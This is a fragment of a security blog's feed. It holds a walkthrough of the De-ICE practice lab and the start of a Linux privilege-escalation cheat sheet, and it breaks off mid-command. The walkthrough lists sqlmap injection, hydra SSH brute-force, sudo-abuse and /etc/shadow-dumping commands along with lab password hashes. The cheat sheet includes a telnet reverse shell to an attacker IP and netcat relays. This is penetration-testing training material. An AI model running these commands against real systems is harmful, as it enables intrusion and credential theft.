&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=482"&gt;De-ICE - Level 1 - Disk 3 - Version B&lt;/a&gt; &lt;i&gt;(de-ice-1.120-1.0b.iso)&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method &lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;Pre-setup (configured IP as the host has a static IP in 192.168.1.0/24 range)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Scan network for the host (nmap)&lt;/li&gt;&lt;li&gt;Port scanned host (unicornscan)&lt;/li&gt;&lt;li&gt;Enumerated running services running open ports (nmap)&lt;/li&gt;&lt;li&gt;Discovered a SQL Injection (Firefox)&amp;nbsp;&lt;/li&gt;&lt;li&gt;Dump all usernames &amp;amp; passwords to the database (sqlmap)&lt;/li&gt;&lt;li&gt;Tested for any repeated logins with known usernames &amp;amp; working passwords (hydra)&lt;/li&gt;&lt;li&gt;Escalated privilege by incorrectly configured settings (sudo)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;What do I need? &lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=482"&gt;de-ice-1.120-1.0a.iso&lt;/a&gt; &lt;i&gt;&lt;span style="font-size: xx-small;"&gt;(MD5: E8FB66760ADDF85896DB3F78F278F7D2)&lt;/span&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Spare or a Virtual machine &lt;i&gt;(Example: &lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt; or &lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;nmap&lt;/a&gt; – &lt;i&gt;(Can be found on &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.unicornscan.org/"&gt;unicornscan&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5 repository).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://sqlmap.sourceforge.net/"&gt;sqlmap&lt;/a&gt; &lt;i&gt;– (Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://thc.org/thc-hydra/"&gt;hydra&lt;/a&gt; &lt;i&gt;– (Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough &lt;/div&gt;A quick "ping" scan with nmap,  shows which hosts are connected to the network. Once the target had been discovered a detailed port scan (TCP &amp;amp; UDP) was taken by using unicornscan. To check the results another detailed TCP port scan was done, though this time it was done using nmap. Unicornscan uses a lot less time to do a port scan compared to nmap (especially with UDP scanning). However, nmap has the advantage of being able to do more than just "port scanning" by "information gathering". The attacker uses the "-a" option, which allows for "OS detection", "version detection of services", "a collection of script scanning", and "traceroute details" as well as increasing the scan speed by "-T4". nmap also confirms TCP port 80 is open, which is the default port for a web server, as well as detecting basic information regarding the configuration of the server.&lt;br /&gt;&lt;br /&gt;The attacker then interacts with the web server and is presented with a "Data Entry" site. There isn't any protection on the server, which allows for the attacker to add a new product into the system. Upon doing so, the attacker notices the URI of the current page, "products.php?id=1". By using the ID variable, the server selects the requested item. The attacker tries to inject their own code allowed with it.&lt;br /&gt;&lt;br /&gt;The attacker uses sqlmap to speed up the injection process as it is designed to test multiple injection methods. sqlmap has pre-built commands which allows the attacker to find common sensitive information (such as; the running services and versions, current user and the database admin, user privileges as well as viewing every table along with the contents). The attacker chooses to capture all the users and their passwords to the database services. The passwords used in the database are encrypted, however, they use a well-known scheme which is easily cracked. The result of this, gives the attacker 50 working usernames as well as 49 known passwords too.&lt;br /&gt;&lt;br /&gt;The attacker then checks to see if any of the users have reused their passwords (or if they have used someone else known password, any blank passwords or their usernames as the passwords), by brute forcing the SSH remote login. The result of this action, gives the attacker remote access to the system with 50 credentials.&lt;br /&gt;&lt;br /&gt;On the list of credentials, the attacker notices a few usernames which they have seen before from previous pentests for the company. The attacker then logs into their accounts and views their personal folders. Upon accessing "ccoffee" account, there was a directory (scripts) located inside. In this folder, there was a file which was only accessible to the super user account, root. The attacker then checks to see if any privileges have been assigned to the user for this file-&lt;i&gt;they have been&lt;/i&gt;. The attacker then backups the file and replaces it with their own file - which is a shell prompt.&lt;br /&gt;&lt;br /&gt;The attacker highlights the fact that the full path has to be specified for sudo to allow access to the file. After this command has been executed, the attacker now has complete access to the system. The attacker collects a bit of information about the system (IP addresses, user hashes and accesses the personal folder for the root account).&lt;br /&gt;&lt;br /&gt;&lt;i&gt;As the attacker now has access to the complete system, they access every user folder at once and view random files at their choosing; a selection of them are sensitive to the company. (Note: I skipped the majority of them out for two reasons: 1.) It's boring watching me cat'ing them all and 2.) It allows you to view them for yourselves). &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt; &lt;/i&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt; &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 600px;"&gt;ifconfig eth0&lt;br /&gt;ifconfig eth0 192.168.1.59&lt;br /&gt;ifconfig eth0&lt;br /&gt;nmap 192.168.1.* -n -sn -sP&lt;br /&gt;us -H -msf -Iv 192.168.1.120 -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv 192.168.1.120 -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A -v 192.168.13.120&lt;br /&gt;firefox 192.168.1.120    # Add new product -&amp;gt; view product&lt;br /&gt;cd /pentest/database/sqlmap&lt;br /&gt;./sqlmap.py -u "http://192.168.1.120/products.php?id=1" -f -b --current-user --is-dba --is-dba --privileges --dbs --dump&lt;br /&gt;./sqlmap.py -u "http://192.168.1.120/products.php?id=1" --users --passwords&lt;br /&gt;cd output/192.168.1.120/&lt;br /&gt;ll&lt;br /&gt;grep -i administrator log&lt;br /&gt;grep -i localhost log | grep -v : | sort | uniq&lt;br /&gt;grep -i localhost log | grep -v : | sort | uniq | sed "s/\[\*\] '//" | sed  "s/'@'localhost'//" &amp;gt; /tmp/users&lt;br /&gt;grep "clear-text" log | sort | uniq&lt;br /&gt;grep "clear-text" log | sort | uniq | sed "s/    clear-text password: //" &amp;gt; /tmp/passwords&lt;br /&gt;wc -l /tmp/users&lt;br /&gt;hydra -L /tmp/users -P /tmp/passwords -e ns 192.168.1.120 ssh 2&amp;gt;/dev/null | tee /tmp/output&lt;br /&gt;#medusa -h 192.168.1.120 -U /tmp/users -P /tmp/passwords -O /tmp/output -e ns -M ssh&lt;br /&gt;ssh ccoffee@192.168.1.120&lt;br /&gt;ls&lt;br /&gt;cd scripts&lt;br /&gt;ls -lah&lt;br /&gt;sudo -l&lt;br /&gt;cat getlogs.sh&lt;br /&gt;mv getlogs.sh getlogs.bkup&lt;br /&gt;echo "/bin/sh" &amp;gt; getlogs.sh&lt;br /&gt;cat getlogs.sh&lt;br /&gt;chmod +x getlogs.sh&lt;br /&gt;ls -l&lt;br /&gt;./getlogs.sh&lt;br /&gt;id&lt;br /&gt;exit&lt;br /&gt;sudo getlogs.sh&lt;br /&gt;sudo /home/ccoffee/scripts/getlogs.sh&lt;br /&gt;id&lt;br /&gt;id &amp;amp;&amp;amp; /sbin/ifconfig &amp;amp;&amp;amp; uname -a &amp;amp;&amp;amp; cat /etc/shadow &amp;amp;&amp;amp; ls -lah /root/&lt;br /&gt;ls -lAhR /home&lt;br /&gt;#cat /home/aallen/gravy.txt&lt;br /&gt;cat /home/aspears/hbkae&lt;br /&gt;cat /home/bbanter/notes&lt;br /&gt;cat /home/cchisholm/reminders.text&lt;br /&gt;cat /home/ccoffee/DONOTFORGET&lt;br /&gt;#cat /home/hlovell/creepy.doc&lt;br /&gt;cat /home/jalvarez/draft&lt;br /&gt;cat /home/jdavenport/company_address.txt&lt;br /&gt;#cat /home/jdavenport/svrc.txt&lt;br /&gt;cat /home/jduff/todo.txt&lt;br /&gt;#cat /home/krenfro/list&lt;br /&gt;cat /home/ktso/personnel.doc&lt;br /&gt;#cat /home/kwebber/list&lt;br /&gt;#cat /home/lmartinez/favorite.txt&lt;br /&gt;#cat /home/mnader/layout&lt;br /&gt;cat /home/rpatel/schedule&lt;br /&gt;#---------------------------------------------------------------------&amp;nbsp; &lt;br /&gt;root:$1$WfY1CvwB$D.6haP5soPp6vEQg9bhPg0:15188:0:::::&lt;br /&gt;amaynard:$1$c210ErwB$HrzQkYAHwfvelkTRlzpLg/:15188:0:99999:7:::&lt;br /&gt;cchisholm:$1$U160JrwB$.dduNMEgO7dV6lKk1dxxh1:15188:0:99999:7:::&lt;br /&gt;myajima:$1$xk70OrwB$zSNMbpCceMK5yCLyRNlKw0:15188:0:99999:7:::&lt;br /&gt;jdavenport:$1$n8Z1EvwB$Onfu58cxo0iHlkZrWFr46.:15188:0:99999:7:::&lt;br /&gt;aadams:$1$E8B0YrwB$B2uCDepzXuvTY5NLL7GH6.:15188:0:99999:7:::&lt;br /&gt;mbryan:$1$qqC0drwB$1R542ZRYEG3mfwe/GVSx.0:15188:0:99999:7:::&lt;br /&gt;rpatel:$1$siE0irwB$nOgG/5tdhJxe.//y2XilL1:15188:0:99999:7:::&lt;br /&gt;dcooper:$1$WhG0nrwB$W9sKEbkXNj1tkPVaZFBsj.:15188:0:99999:7:::&lt;br /&gt;hlovell:$1$NXI0srwB$Z0bYLrdonKdxhd47XkIpQ/:15188:0:99999:7:::&lt;br /&gt;jbresnahan:$1$ZYK0xrwB$npR5VIJXTLerRta1SRit..:15188:0:99999:7:::&lt;br /&gt;aspears:$1$CJM00swB$5Yz1Jr5aCNh9cIaYnmF1A1:15188:0:99999:7:::&lt;br /&gt;lmorales:$1$U1O05swB$r8jHStK1gi8uCIxf9UtF8/:15188:0:99999:7:::&lt;br /&gt;dtraylor:$1$wpP0AswB$pMD7MsDlceIi3vyF7RUF31:15188:0:99999:7:::&lt;br /&gt;jalcantar:$1$VaR0FswB$TcnOVJoUWDmy9lNkDaTKE/:15188:0:99999:7:::&lt;br /&gt;rdominguez:$1$FLT0KswB$D3Hx32b9ulgcs0xGys6HP/:15188:0:99999:7:::&lt;br /&gt;sjohnson:$1$O8V0PswB$Bx8EQjfZfvT/KRn3qFWYu/:15188:0:99999:7:::&lt;br /&gt;rjacobson:$1$puW0UswB$F/Qy2cfcfeqdgLAGBXSNZ0:15188:0:99999:7:::&lt;br /&gt;kwebber:$1$fcY0ZswB$g/goHdSqR9rKhdIfQcQZi/:15188:0:99999:7:::&lt;br /&gt;dgilfillan:$1$hLa0eswB$kmZ/dj.nm4P1HItNDpEoe.:15188:0:99999:7:::&lt;br /&gt;strammel:$1$.6c0jswB$56FUjoDRsFnVJpbv8UXOJ/:15188:0:99999:7:::&lt;br /&gt;mholland:$1$msd0oswB$WLahBe77iUN5mMUfXjOtG/:15188:0:99999:7:::&lt;br /&gt;lmartinez:$1$Idf0tswB$1p5EH/82vJ531K8CigEDD0:15188:0:99999:7:::&lt;br /&gt;djohnson:$1$BNh0yswB$p4GCj50pY6KJdN3sDunal1:15188:0:99999:7:::&lt;br /&gt;bbanter:$1$S7j01twB$yZY6jCAbzXRJnknNWgLVX.:15188:0:99999:7:::&lt;br /&gt;aweiland:$1$G7l06twB$yWY3A2dFzDO/d2ODwefak0:15188:0:99999:7:::&lt;br /&gt;mrodriguez:$1$o7n0BtwB$/uDQNVKIaDW45rw6cmU5g1:15188:0:99999:7:::&lt;br /&gt;aallen:$1$xwo0GtwB$w4x/cSueMFa0K6ovawGZx1:15188:0:99999:7:::&lt;br /&gt;jduff:$1$Jgq0LtwB$UfPTHRhQcOZt4vMIIFCmw0:15188:0:99999:7:::&lt;br /&gt;aard:$1$0Qs0QtwB$F7VGVjAV7.sqUTBJHGeJy.:15188:0:99999:7:::&lt;br /&gt;aharp:$1$BBu0VtwB$x58Fzy1fkJw8Hu6FKdC9W0:15188:0:99999:7:::&lt;br /&gt;jfranklin:$1$nxv0atwB$dIMl2raRhaQ1S5pDuVjmP1:15188:0:99999:7:::&lt;br /&gt;swarren:$1$4qx0ftwB$lGa9mO0/1G3S.bF6XsLSN.:15188:0:99999:7:::&lt;br /&gt;tdeleon:$1$Udz0ktwB$iL4AdscPHskPHLuPs5cck1:15188:0:99999:7:::&lt;br /&gt;sgains:$1$ih/1ptwB$zsOwb38f1LBlxLhsErxtM0:15188:0:99999:7:::&lt;br /&gt;tgoodchap:$1$jc11utwB$zjQqR/O8JF0dx44pJLnje1:15188:0:99999:7:::&lt;br /&gt;aheflin:$1$wh31ztwB$avbU3tAf5bk0yrcfP3Omu.:15188:0:99999:7:::&lt;br /&gt;dwestling:$1$8c512uwB$qLDe0mMh5f0cmScixHB1e1:15188:0:99999:7:::&lt;br /&gt;jayala:$1$fP717uwB$Jj1hhFl/5x40TGT5OOMPg1:15188:0:99999:7:::&lt;br /&gt;mnader:$1$hH91CuwB$9FGdKfQko1xgp23m.ABrf0:15188:0:99999:7:::&lt;br /&gt;dstevens:$1$z6B1HuwB$GyOErF9l.8K7b6ninqm8S0:15188:0:99999:7:::&lt;br /&gt;jalvarez:$1$quC1MuwB$xAuD2ON9fw4M0RWk1gNix/:15188:0:99999:7:::&lt;br /&gt;ccoffee:$1$3hE1RuwB$81Zlxr6VE0Dq3Zle4uMZF.:15188:0:99999:7:::&lt;br /&gt;krenfro:$1$7UG1WuwB$ZOq7HpWqaGJCOwJZeX2QJ.:15188:0:99999:7:::&lt;br /&gt;kclemons:$1$aII1buwB$AHP4eKOECYAidCxLsYrEK.:15188:0:99999:7:::&lt;br /&gt;qpowers:$1$S7K1guwB$DgvYQxyTjva0jltWiLHQ90:15188:0:99999:7:::&lt;br /&gt;dgrant:$1$1xL1luwB$D4wXwL6w4kzbrbpNTXqIt0:15188:0:99999:7:::&lt;br /&gt;ktso:$1$v1O1quwB$q8iGtRe5e5NGSdM73tDVG0:15188:0:99999:7:::&lt;br /&gt;bphillips:$1$6zP1vuwB$.DuK.K04CdMBRx1V.psUJ1:15188:0:99999:7:::&lt;br /&gt;bwatkins:$1$QqR1.vwB$stF2i6wHmcta94eCYsztf.:15188:0:99999:7:::&lt;br /&gt;#--------------------------------------------------------------------- &lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;De-ICE.net v1.2a has a static IP address of 192.168.1.120. &lt;i&gt;Make sure you are on the same subnet as it!&lt;/i&gt;&lt;/li&gt;&lt;li&gt;When booting De-ICE it will randomly assign the passwords to the usernames &lt;i&gt;- so it's different each time!&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Each time you start De-ICE.net v1.2a it will generate fresh SSH keys &lt;i&gt;- so it's different each time!&lt;/i&gt;&lt;/li&gt;&lt;li&gt;I made a couple of mistakes in the video (For example: /devnull)&lt;i&gt; - it's worth checking the commands subsection!&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;Song: &lt;a href="http://www.play.com/ProductOutline.aspx?title=6361658"&gt;Crazy World (Extended Mix) - J Majik &amp;amp; Wickaman&lt;/a&gt; &amp;amp; &lt;a href="http://www.play.com/ProductOutline.aspx?title=16489884"&gt;Ill Behaviour - Danny Byrd Featuring I-Kay&lt;/a&gt;&lt;br /&gt;Video length: 07:40&lt;br /&gt;Capture length: 29:31 &lt;br /&gt;Blog Post: &lt;a href="http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12a-120a-level-1-disk.html"&gt;http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12a-120a-level-1-disk.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=506&amp;amp;p=2388#p2388"&gt;http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=506&amp;amp;p=2388#p2388&lt;/a&gt; &amp;amp; &lt;a href="http://www.backtrack-linux.org/forums/backtrack-5-videos/43650-%5Bvideo%5D-de-ice-net-v1-2a-1-20a-%7Blevel-1-disk-3-version-%7D.html#post204394"&gt;http://www.backtrack-linux.org/forums/backtrack-5-videos/43650-%5Bvideo%5D-de-ice-net-v1-2a-1-20a-%7Blevel-1-disk-3-version-%7D.html#post204394&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-8344582204609380719?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/8344582204609380719/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12a-120a-level-1-disk.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8344582204609380719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8344582204609380719'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12a-120a-level-1-disk.html' title='[Video] De-ICE.net v1.2a (1.20a) {Level 1 - Disk 3 - Version A}'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-6377355742562710819</id><published>2011-08-02T01:02:00.012+01:00</published><updated>2011-11-18T16:05:19.316Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bypassing Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Privilege Escalation'/><title type='text'>Basic Linux Privilege Escalation</title><content type='html'>Before starting, I would like to point out - &lt;b&gt;I'm no expert&lt;/b&gt;. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared &lt;i&gt;(my &lt;a href="http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html"&gt;starting point&lt;/a&gt;)&lt;/i&gt;. Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a &lt;b&gt;basic &amp;amp; &lt;/b&gt;&lt;b&gt;rough&lt;/b&gt; &lt;b&gt;guide&lt;/b&gt;. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - &lt;u&gt;you've to hunt&lt;/u&gt; for that &lt;i&gt;"little thing"&lt;/i&gt; as "&lt;i&gt;the devil is in the detail&lt;/i&gt;". &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Enumeration is the key.&lt;/b&gt;&lt;br /&gt;(Linux) privilege escalation is all about:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Collect - &lt;i&gt;&lt;b&gt;Enumeration&lt;/b&gt;, more enumeration and some more enumeration.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Process - &lt;i&gt;Sort through data, &lt;b&gt;analyse&lt;/b&gt; and prioritisation.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Search - &lt;i&gt;Know what to search for and where to &lt;b&gt;find &lt;/b&gt;the exploit code.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Adapt - &lt;i&gt;&lt;b&gt;Customize&lt;/b&gt; the exploit, so it fits. Not every exploit work for every system "out of the box".&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Try - &lt;i&gt;Get ready for (lots of) &lt;b&gt;trial and error&lt;/b&gt;.&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;u&gt;&lt;b&gt;Operating System&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What's the distribution type? &lt;i&gt;What version?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;cat /etc/issue&lt;br /&gt;cat /etc/*-release&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;i&gt;cat /etc/lsb-release&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;i&gt;cat /etc/redhat-release&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What's the Kernel version? &lt;i&gt;Is it 64-bit?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;cat /proc/version &amp;nbsp; &lt;br /&gt;uname -a&lt;br /&gt;uname -mrs &lt;br /&gt;rpm -q kernel &lt;br /&gt;dmesg | grep Linux&lt;br /&gt;ls /boot | grep vmlinuz-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What can be learnt from the environmental variables?&lt;/span&gt;&lt;br /&gt;cat /etc/profile&lt;br /&gt;cat /etc/bashrc&lt;br /&gt;cat ~/.bash_profile&lt;br /&gt;cat ~/.bashrc&lt;br /&gt;cat ~/.bash_logout&lt;br /&gt;env&lt;br /&gt;set&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Is there a printer?&lt;/span&gt;&lt;br /&gt;lpstat -a&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Applications &amp;amp; &lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Services&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What services are running? &lt;i&gt;Which service has which user privilege?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;ps aux&lt;br /&gt;ps -ef&lt;br /&gt;top&lt;br /&gt;cat /etc/service &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Which service(s) are been running by &lt;i&gt;root? Of these services, which are vulnerable - it's worth a double check!&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;ps aux | grep root&lt;br /&gt;ps -ef | grep root&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What applications are installed? &lt;i&gt;What version are they? Are they currently running?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;ls -alh /usr/bin/&lt;br /&gt;ls -alh /sbin/&lt;br /&gt;dpkg -l&lt;br /&gt;rpm -qa&lt;br /&gt;ls -alh /var/cache/apt/archivesO&lt;br /&gt;ls -alh /var/cache/yum/ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Any of the service(s) settings misconfigured? &lt;i&gt;Are any (vulnerable) plugins attached?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;cat /etc/syslog.conf &lt;br /&gt;cat /etc/chttp.conf&lt;br /&gt;cat /etc/lighttpd.conf&lt;br /&gt;cat /etc/cups/cupsd.conf &lt;br /&gt;cat /etc/inetd.conf &lt;br /&gt;cat /etc/apache2/apache2.conf&lt;br /&gt;cat /etc/my.conf&lt;br /&gt;cat /etc/httpd/conf/httpd.conf&lt;br /&gt;cat /opt/lampp/etc/httpd.conf&lt;br /&gt;ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What jobs are scheduled?&lt;/span&gt;&lt;br /&gt;crontab -l&lt;br /&gt;ls -alh /var/spool/cron&lt;br /&gt;ls -al /etc/ | grep cron&lt;br /&gt;ls -al /etc/cron*&lt;br /&gt;cat /etc/cron*&lt;br /&gt;cat /etc/at.allow&lt;br /&gt;cat /etc/at.deny&lt;br /&gt;cat /etc/cron.allow&lt;br /&gt;cat /etc/cron.deny&lt;br /&gt;cat /etc/crontab&lt;br /&gt;cat /etc/anacrontab&lt;br /&gt;cat /var/spool/cron/crontabs/root&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Any plain text usernames and/or passwords?&lt;/span&gt;&lt;br /&gt;grep -i user [filename]&lt;br /&gt;grep -i pass [filename]&lt;br /&gt;grep -C 5 "password" [filename]&lt;br /&gt;find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" &amp;nbsp; # Joomla &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Communications &amp;amp; Networking&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What NIC(s) does the system have? &lt;i&gt;Is it connected to another network?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;/sbin/ifconfig -a&lt;br /&gt;cat /etc/network/interfaces&lt;br /&gt;cat /etc/sysconfig/network &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What are the network configuration settings? &lt;i&gt;What can you find out about this network? DHCP server? DNS server? Gateway?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;cat /etc/resolv.conf&lt;br /&gt;cat /etc/sysconfig/network&lt;br /&gt;cat /etc/networks&lt;br /&gt;iptables -L&lt;br /&gt;hostname&lt;br /&gt;dnsdomainname&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What other users &amp;amp; hosts are communicating with the system?&lt;/span&gt;&lt;br /&gt;lsof -i &lt;br /&gt;lsof -i :80&lt;br /&gt;grep 80 /etc/services&lt;br /&gt;netstat -antup&lt;br /&gt;netstat -antpx&lt;br /&gt;netstat -tulpn&lt;br /&gt;chkconfig --list&lt;br /&gt;chkconfig --list | grep 3:on&lt;br /&gt;last&lt;br /&gt;w&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Whats cached? &lt;i&gt;IP and/or MAC addresses&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;arp -e&lt;br /&gt;route&lt;br /&gt;/sbin/route -nee&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt; Is packet sniffing possible? What can be seen? &lt;i&gt;Listen to live traffic&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]&lt;br /&gt;tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Have you got a shell? &lt;i&gt;Can you interact with the system?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;# &lt;a href="http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/"&gt;http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/&lt;/a&gt;&lt;br /&gt;nc -lvp 4444 &amp;nbsp;&amp;nbsp; # Attacker. Input (Commands)&lt;br /&gt;nc -lvp 4445 &amp;nbsp;&amp;nbsp; # Attacker. Ouput (Results)&lt;br /&gt;telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 &amp;nbsp;&amp;nbsp; # On the targets system. Use the attackers IP!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Is port forwarding possible? &lt;i&gt;Redirect and interact with traffic from another view&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;# &lt;a href="http://www.boutell.com/rinetd/"&gt;rinetd&lt;/a&gt;&lt;br /&gt;# &lt;a href="http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch"&gt;http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;# &lt;a href="http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip%20"&gt;fpipe&lt;/a&gt;&lt;br /&gt;# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]&lt;br /&gt;FPipe.exe -l 80 -r 80 -s 80 192.168.1.7&lt;br /&gt;&lt;br /&gt;# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]&lt;br /&gt;ssh -L 8080:127.0.0.1:80 root@192.168.1.7 &amp;nbsp;&amp;nbsp; # Local Port&lt;br /&gt;ssh -R 8080:127.0.0.1:80 root@192.168.1.7 &amp;nbsp;&amp;nbsp; # Remote Port&lt;br /&gt;&lt;br /&gt;# mknod backpipe p ; nc -l -p [remote port] &amp;lt; backpipe &amp;nbsp;| nc [local IP] [local port] &amp;gt;backpipe&lt;br /&gt;mknod backpipe p ; nc -l -p 8080 &amp;lt; backpipe | nc 10.1.1.251 80 &amp;gt;backpipe &amp;nbsp;&amp;nbsp; # Port Relay&lt;br /&gt;mknod backpipe p ; nc -l -p 8080 0 &amp;amp; &amp;lt; backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1&amp;gt;backpipe &amp;nbsp;&amp;nbsp; # Proxy (Port 80 to 8080)&lt;br /&gt;mknod backpipe 